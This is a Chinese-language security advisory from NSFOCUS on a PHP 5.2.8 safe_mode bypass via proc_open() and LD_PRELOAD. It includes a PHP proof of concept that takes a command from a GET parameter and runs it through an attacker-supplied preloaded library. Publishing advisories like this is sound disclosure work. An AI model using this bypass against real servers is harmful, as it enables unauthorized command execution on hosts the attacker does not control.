安全研究

安全漏洞
PHP proc_open()变量参数绕过Safe Mode限制漏洞

发布日期:2008-12-09
更新日期:2008-12-11

受影响系统:
PHP PHP 5.2.8
描述:
BUGTRAQ  ID: 32717

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP守护程序过于相信环境变量,尤其是动态加载器变量。如果启用了safe_mode的话,就无法执行除了safe mode exec目录中二进制程序之外的任何程序,但proc_open()允许向新进程提供自定义的环境变量。如果documentroot中存在可写目录,disabled_functions列表中没有proc_open,远程攻击者就可以通过向目标服务器提交恶意请求绕过safe_mode限制执行PHP脚本。

<*来源:gat3way
  
  链接:http://marc.info/?l=bugtraq&m=122883879213592&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php

$path="/var/www"; //change to your writable path


$a=fopen($path."/.comm","w");
fputs($a,$_GET["c"]);
fclose($a);

$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("file", $path."/output.txt","w"),
2 => array("file", $path."/errors.txt", "a" )
);

$cwd = '.';
$env = array('LD_PRELOAD' => $path."/a.so");
$process = proc_open('examplecommand', $descriptorspec, $pipes, $cwd, $env); // \
example command - should not succeed


sleep(1);
$a=fopen($path."/.comm1","r");

echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
fclose($a);
echo "</pre>";

?>

建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

浏览次数:3505
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障